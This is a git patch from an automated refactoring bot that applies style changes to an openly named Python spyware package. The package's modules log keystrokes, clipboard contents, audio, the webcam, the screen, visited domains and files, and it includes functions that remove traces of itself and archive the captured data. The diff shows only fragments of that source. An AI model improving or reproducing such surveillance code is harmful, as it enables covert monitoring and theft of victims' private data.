From e886908e813afdedd9c1560707706330b8685b63 Mon Sep 17 00:00:00 2001 From: Sourcery AI <> Date: Mon, 24 Apr 2023 01:01:10 +0000 Subject: [PATCH] 'Refactored by Sourcery' --- SpyWare/AudioLogger/__main__.py | 3 +- SpyWare/ClipboardLogger/ClipboardLogger.py | 5 ++- SpyWare/ClipboardLogger/__main__.py | 3 +- SpyWare/DomainsLogger/DomainsLogger.py | 11 ++---- SpyWare/DomainsLogger/__main__.py | 3 +- SpyWare/FilesLogger/FilesLogger.py | 6 +--- SpyWare/FilesLogger/__main__.py | 3 +- SpyWare/KeyLogger/KeyLogger.py | 5 +-- SpyWare/KeyLogger/__main__.py | 3 +- SpyWare/ScreenLogger/__main__.py | 3 +- SpyWare/SpyWare.py | 40 ++++++---------------- SpyWare/WebcamLogger/__main__.py | 3 +- SpyWare/__init__.py | 3 +- SpyWare/__main__.py | 4 +-- 14 files changed, 36 insertions(+), 59 deletions(-) diff --git a/SpyWare/AudioLogger/__main__.py b/SpyWare/AudioLogger/__main__.py index ba067ed..bee5fc1 100644 --- a/SpyWare/AudioLogger/__main__.py +++ b/SpyWare/AudioLogger/__main__.py @@ -5,6 +5,7 @@ This package implements a SpyWare to record from microphone. """ + ################### # This package implements a SpyWare to record from microphone. # Copyright (C) 2021, 2022 Maurice Lambert @@ -48,5 +49,5 @@ except ImportError: from AudioLogger import main as audioSpy -print(copyright) +print(__copyright__) audioSpy() diff --git a/SpyWare/ClipboardLogger/ClipboardLogger.py b/SpyWare/ClipboardLogger/ClipboardLogger.py index 6e2b601..570160b 100644 --- a/SpyWare/ClipboardLogger/ClipboardLogger.py +++ b/SpyWare/ClipboardLogger/ClipboardLogger.py @@ -194,9 +194,8 @@ def create_if_not_exists(filename: str) -> None: """ if not exists(filename): - file = open(filename, "w") - file.write("") - file.close() + with open(filename, "w") as file: + file.write("") def main(config_filename: str = None, argv: List[str] = argv) -> int: diff --git a/SpyWare/ClipboardLogger/__main__.py b/SpyWare/ClipboardLogger/__main__.py index 44e9912..14c462e 100644 --- a/SpyWare/ClipboardLogger/__main__.py +++ b/SpyWare/ClipboardLogger/__main__.py @@ -5,6 +5,7 @@ This package implements a SpyWare to capture the clipboard. """ + ################### # This package implements a SpyWare to capture the clipboard. # Copyright (C) 2021, 2022 Maurice Lambert @@ -48,5 +49,5 @@ except ImportError: from ClipboardLogger import main as clipboardSpy -print(copyright) +print(__copyright__) clipboardSpy() diff --git a/SpyWare/DomainsLogger/DomainsLogger.py b/SpyWare/DomainsLogger/DomainsLogger.py index 3d66353..5671bc8 100644 --- a/SpyWare/DomainsLogger/DomainsLogger.py +++ b/SpyWare/DomainsLogger/DomainsLogger.py @@ -227,14 +227,10 @@ def get_data_to_save(self, domains: Set[bytes]) -> None: data_file.seek(0) readline = data_file.readline - data = readline() - - while data: + while data := readline(): for domain in domains: if domain == data: domains.remove(domain) - data = readline() - if domains: self.data.extend(domains) @@ -375,9 +371,8 @@ def create_if_not_exists(filename: str) -> None: """ if not exists(filename): - file = open(filename, "w") - file.write("") - file.close() + with open(filename, "w") as file: + file.write("") def main(config_filename: str = None, argv: List[str] = argv) -> int: diff --git a/SpyWare/DomainsLogger/__main__.py b/SpyWare/DomainsLogger/__main__.py index 916ab2e..4f3c80c 100644 --- a/SpyWare/DomainsLogger/__main__.py +++ b/SpyWare/DomainsLogger/__main__.py @@ -5,6 +5,7 @@ This file implements a SpyWare for connection destinations. """ + ################### # This file implements a SpyWare for connection destinations. # Copyright (C) 2021, 2022, 2023 Maurice Lambert @@ -48,5 +49,5 @@ except ImportError: from DomainsLogger import main as domainsSpy -print(copyright) +print(__copyright__) domainsSpy() diff --git a/SpyWare/FilesLogger/FilesLogger.py b/SpyWare/FilesLogger/FilesLogger.py index 2803337..f364296 100644 --- a/SpyWare/FilesLogger/FilesLogger.py +++ b/SpyWare/FilesLogger/FilesLogger.py @@ -242,13 +242,9 @@ def save(self, data: dict) -> int: data_file.seek(0) readline = data_file.readline - data = readline() - - while data: + while data := readline(): if new_line == data: return None - data = readline() - self.data += new_line def persistent_save(self) -> None: diff --git a/SpyWare/FilesLogger/__main__.py b/SpyWare/FilesLogger/__main__.py index 96e48b2..e5fcf93 100644 --- a/SpyWare/FilesLogger/__main__.py +++ b/SpyWare/FilesLogger/__main__.py @@ -32,6 +32,7 @@ >>> filesSpy(argv=["FilesLogger.py", "filesSpy.conf"]) # (using argv) """ + __version__ = "1.0.0" __author__ = "Maurice Lambert" __author_email__ = "mauricelambert434@gmail.com" @@ -57,5 +58,5 @@ except ImportError: from FilesLogger import main as filesSpy -print(copyright) +print(__copyright__) filesSpy() diff --git a/SpyWare/KeyLogger/KeyLogger.py b/SpyWare/KeyLogger/KeyLogger.py index 25c6f6a..f8a7a52 100644 --- a/SpyWare/KeyLogger/KeyLogger.py +++ b/SpyWare/KeyLogger/KeyLogger.py @@ -185,10 +185,7 @@ def get_event_release(self, event: Key) -> None: if CONFIGURATIONS.event_release: self.save(f"RELEASE: {self.get_event_char(event)}\n") - # code = self.get_code(event) - - is_pressed = self.is_pressed - if is_pressed: + if is_pressed := self.is_pressed: is_pressed.pop() return self.run diff --git a/SpyWare/KeyLogger/__main__.py b/SpyWare/KeyLogger/__main__.py index eb09b0f..deb70ab 100644 --- a/SpyWare/KeyLogger/__main__.py +++ b/SpyWare/KeyLogger/__main__.py @@ -23,6 +23,7 @@ This file implements a keylogger. """ + __version__ = "1.0.0" __author__ = "Maurice Lambert" __author_email__ = "mauricelambert434@gmail.com" @@ -48,5 +49,5 @@ except ImportError: from KeyLogger import main as keySpy -print(copyright) +print(__copyright__) keySpy() diff --git a/SpyWare/ScreenLogger/__main__.py b/SpyWare/ScreenLogger/__main__.py index 0d24f87..154edc4 100644 --- a/SpyWare/ScreenLogger/__main__.py +++ b/SpyWare/ScreenLogger/__main__.py @@ -23,6 +23,7 @@ This file implements a SpyWare to capture the screen. """ + __version__ = "1.0.0" __author__ = "Maurice Lambert" __author_email__ = "mauricelambert434@gmail.com" @@ -48,5 +49,5 @@ except ImportError: from ScreenLogger import main as screenSpy -print(copyright) +print(__copyright__) screenSpy() diff --git a/SpyWare/SpyWare.py b/SpyWare/SpyWare.py index 19da6b4..d318378 100644 --- a/SpyWare/SpyWare.py +++ b/SpyWare/SpyWare.py @@ -183,9 +183,7 @@ def spy(modules: Dict[str, str]) -> int: This function starts spy modules and stop it on KeyboardInterrupt. """ - EXITCODE = 0 - namespace = globals().copy() - namespace.update(locals()) + namespace = globals() | locals() threads = [] daemons = [] @@ -204,15 +202,11 @@ def spy(modules: Dict[str, str]) -> int: thread.start() thread = Thread(target=daemon.run_AppData) - thread.daemon = True - threads.append(thread) - thread.start() else: thread = Thread(target=daemon.run_for_ever) - thread.daemon = True - threads.append(thread) - thread.start() - + thread.daemon = True + threads.append(thread) + thread.start() try: join_all(*threads) except KeyboardInterrupt: @@ -220,7 +214,7 @@ def spy(modules: Dict[str, str]) -> int: finally: join_all(*threads) - return EXITCODE + return 0 def env(keyvalue: str) -> None: @@ -465,8 +459,7 @@ def remove_trace(modules: Dict[str, str] = modules) -> None: This function removes trace of SpyWare. """ - namespace = globals().copy() - namespace.update(locals()) + namespace = globals() | locals() executable_dir = dirname(argv[0]) if glob(join(executable_dir, "*/*.py")): @@ -502,9 +495,7 @@ def archive(modules: Dict[str, str] = modules, mode: str = "") -> str: name = choices(ascii_letters + digits, k=choice(range(1, 15))) filename = f"archive_{name}.tar" + f".{mode}" if mode else mode - namespace = globals().copy() - namespace.update(locals()) - + namespace = globals() | locals() with tar_open(filename, f"w:{mode}") as file: for module in modules: @@ -554,11 +545,10 @@ def get_modules(arguments: Namespace) -> Dict[str, str]: active_modules = {} for module, config in modules_config.items(): - if is_mode_donotrun: - if config is not None: + if config is not None: + if is_mode_donotrun: del modules_copy[module] - else: - if config is not None: + else: active_modules[module] = config return modules_copy if is_mode_donotrun else active_modules @@ -588,15 +578,7 @@ def main() -> int: elif tar is not None: register(archive, active_modules, tar) - EXITCODE = spy(active_modules) - - # tar = arguments.tar - # if arguments.remove: - # remove_trace(active_modules) - # elif tar is not None: - # archive(active_modules, tar) - - return EXITCODE + return spy(active_modules) if __name__ == "__main__": diff --git a/SpyWare/WebcamLogger/__main__.py b/SpyWare/WebcamLogger/__main__.py index cf2e9f6..dd1d6f6 100644 --- a/SpyWare/WebcamLogger/__main__.py +++ b/SpyWare/WebcamLogger/__main__.py @@ -23,6 +23,7 @@ This file implements a SpyWare to take picture with Webcam. """ + __version__ = "1.0.0" __author__ = "Maurice Lambert" __author_email__ = "mauricelambert434@gmail.com" @@ -48,5 +49,5 @@ except ImportError: from WebcamLogger import main as webcamSpy -print(copyright) +print(__copyright__) webcamSpy() diff --git a/SpyWare/__init__.py b/SpyWare/__init__.py index 8179439..181a41c 100644 --- a/SpyWare/__init__.py +++ b/SpyWare/__init__.py @@ -23,6 +23,7 @@ This file implements a complete spyware. """ + __version__ = "1.0.4" __author__ = "Maurice Lambert" __author_email__ = "mauricelambert434@gmail.com" @@ -73,4 +74,4 @@ from . import WebcamLogger from .SpyWare import main as spyware -print(copyright) +print(__copyright__) diff --git a/SpyWare/__main__.py b/SpyWare/__main__.py index 6ba5a2b..1c28103 100644 --- a/SpyWare/__main__.py +++ b/SpyWare/__main__.py @@ -23,6 +23,7 @@ This file implements a complete spyware. """ + __version__ = "1.0.4" __author__ = "Maurice Lambert" __author_email__ = "mauricelambert434@gmail.com" @@ -43,8 +44,7 @@ __license__ = license __copyright__ = copyright -print(copyright) - +print(__copyright__) try: from SpyWare import main except ImportError: